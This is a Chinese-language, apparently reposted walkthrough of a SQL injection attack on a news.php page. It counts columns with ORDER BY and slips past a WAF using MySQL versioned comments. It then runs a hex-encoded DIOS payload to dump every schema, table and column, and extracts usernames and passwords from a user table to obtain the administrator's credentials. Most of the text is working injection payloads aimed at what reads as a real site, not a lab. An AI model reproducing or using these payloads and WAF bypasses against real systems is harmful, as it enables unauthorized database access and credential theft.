报错的存在
一个有趣的点:http://domain.com/xxx/news.php?id=xxx
打开URL时,遇到了MySQL错误。
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean give in … on line 27
分析网站利用方式
查询将同时具有布尔值和ORDER BY查询,确保不会显示任何错误。
http://domain.com/xxx/news.php?id=13 AND 0 order by 1 —
我们尝试将列数增加1,直到出现第二个错误
?id=13 AND 0 order by 1 –(shows 1 error)
?id=13 AND 0 order by 2 — (shows 1 error)
?id=13 AND 0 order by 3 — (shows 1 error)
?id=13 AND 0 order by 4 — (shows 1 error)
?id=13 AND 0 order by 5 — (shows 1 error)
?id=13 AND 0 order by 6 — (shows 2 errors)
当我们尝试找到第6列时,将显示两条错误消息。因此,这意味着数据库只有5列。
http://domain.com/xxx/news.php?id=13 AND 0 order by 6 —
尝试找到第6列时出现报错
绕过WAF
使用UNION SELECT查询来进行注入
http://domain.com/xxx/news.php?id=13 AND 0 union select 1,2,3,4,5 —
好家伙,有waf
尝试对union select进行编码
id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,2,3,4,5 —
成功绕过WAF
但是页面并没有回显,所以我们要养成查看前端源代码的习惯
看到数字2和3。,现在我们必须专注于这两个专栏。在这种情况下,我将尝试第二列。
id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,database(),3,4,5 —
尝试注入DIOS有效负载,DIOS为我们所面对的SQL创建了一个很好的表示形式。我使用的DIOS有效负载是为使用0xHEX转换和/*!00000进行字符串Bypass
id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 --
找到username和password
id=13 AND 0 /*!50000UnIoN*/ /*!50000SeLeCt*/ 1,(SELECT+GROUP_CONCAT(username,0x3a,password+SEPARATOR+0x3c62723e)+FROM+kbelb_db.user),3,4,5 --
得到管理员的账号密码
转自:安译Sec